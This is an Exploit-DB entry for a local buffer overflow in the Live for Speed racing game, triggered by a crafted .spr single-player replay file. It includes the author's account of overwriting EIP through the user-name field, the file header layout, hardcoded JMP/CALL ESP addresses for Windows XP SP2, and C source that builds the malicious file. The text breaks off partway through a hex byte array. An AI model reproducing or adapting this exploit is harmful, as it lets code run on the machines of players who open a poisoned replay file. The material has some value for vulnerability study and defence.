Exploit-DB #4263
Description: Live for Speed S1/S2/Demo - '.spr' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-08-06
Author: n00b

Exploit:
/**
*****
**************************************************************************
0day Live for speed patch x s2 /s1 and demo local .Spr File buffer over flow
Spr file's are also exploitable although i had to go about it a different
Way,At first it wasn't possible to do a jmp esp,But with a little more buffer i
Managed to get it to point to our shell code,The .spr file's are single player
Replay file's the structure is totally different,This is why i wrote the second
Exploit,Because you cant use the mpr file's.It's totally different to exploit this.
Where the mpr file the buffer over flow was in the car name.This is in the actual
user name of the person in the race.The eip was over written in a totally different 
place.Where the .mpr file's go in the mpr folder the spr file's have a totally 
different folder for single player Replay file's.So i had to write a different
exploit code.Try it put the mpr file inside the spr folder it will throw an 
error header check wrong file,This is why had to write the second exploit using 
my own local exploit file template.I have added the .spr file description so 
you can see for your self the Difference's in the file structure.Remember 
this has to go in the spr folder.
Compile with dev c++ 4.9.9.2

------------------------------
.Spr buffer over flow is here. |
32    char    64   user name   |     
----------------------------- 

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

=========================================
SPR file header format for LFS S2 : 0.5X9
=========================================
FILE DESCRIPTION :
==================
num   unit    offset  description
---   ----    ------  -----------

6     char    0       LFSSPR              : do not read file if no match
1     byte    6       game version        : ignore
1     byte    7       game revision       : ignore
1     byte    8       SPR version         : ignore
1     byte    9       reserved            : -
1     byte    10      reserved            : -
1     byte    11      qual mins           : qualifying time
1     byte    12      laps byte           : laps / hours (see notes)
1     byte    13      skill               : skill level (0,1,2,3,4)
1     byte    14      wind                : 0=off 1=weak 2=strong
1     byte    15      hotlap mode         : 0=no 1=yes
8     char    16      LFS version         : text, ends 0
4     char    24      short track name    : e.g. BL2R
1     byte    28      added mass          : hotlap only
1     byte    29      intake restrict     : hotlap only
1     byte    30      0                   : -
1     byte    31      0                   : -
32    char    32      track name          : text, ends 0
32    char    64      user name           : text, ends 0
32    char    96      car name            : text, ends 0
1     byte    128     config              : 1,2,3.. (first config is 1)
1     byte    129     reversed            : 0=no 1=yes
1     byte    130     weather             : 0,1,2.. (first weather is 0)
1     byte    131     number of players   : total cars in race
1     word    132     player flags        : driver settings (see NOTES)
1     byte    134     hlvc best lap       : the lap of the split times
1     byte    135     number of splits    : including lap time
1     time    136     split 1             : msht time (1st check point)
1     time    140     split 2             : msht time
1     time    144     split 3             : msht time
1     time    148     split 4             : msht time
2     int     152     0                   : -
32    char    160     local player name   : including colours
----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
-------------------------------------------------------------------------
Vendor's web site:www.liveforspeed.net.
Affected version's Live for Speed S2 ALPHA PATCH 0.5X.
Special thank's to str0ke.
****************************************************************
*****
**/



#include <windows.h>
#include <stdio.h>
#include <conio.h>


#define Credits_to "Credit's to n00b for finding this buffer over flow" 
#define Spr_file "exploit.spr" 

//If none of the jmp esp work for you find your own and define it!!
#define JMP_ESP_English "\x0A\xAF\xD8\x77"   //user32.dll  xp sp2 english
#define CALL_ESP_French "\x8b\x51\x81\x7c"  //Kernel32.dll xp sp2 french
#define JMP_ESP_German  "\x47\x74\xd2\x77"  //user32.dll   xp sp2 german 
 
  
                                
char file_header1[] =
"\x4c\x46\x53\x53\x50\x52\x00\xfa\x0b\x14\x06\x00\x03\x04\x01\x00"
"\x30\x2e\x35\x58\x31\x30\x00\x00\x41\x53\x33\x00\x00\x00\x00\x00"
"\x41\x73\x74\x6f\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x6d\x75\x68\x61\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x55\x46\x20\x31\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x03\x00\x00\x01\x04\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";



char file_header2[] =
"\x63\x61\x72\x6c"
"\x6f\x73\x20\x5e\x6c\x5e\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd2\x91\x00\x00"
"\x67\x95\x7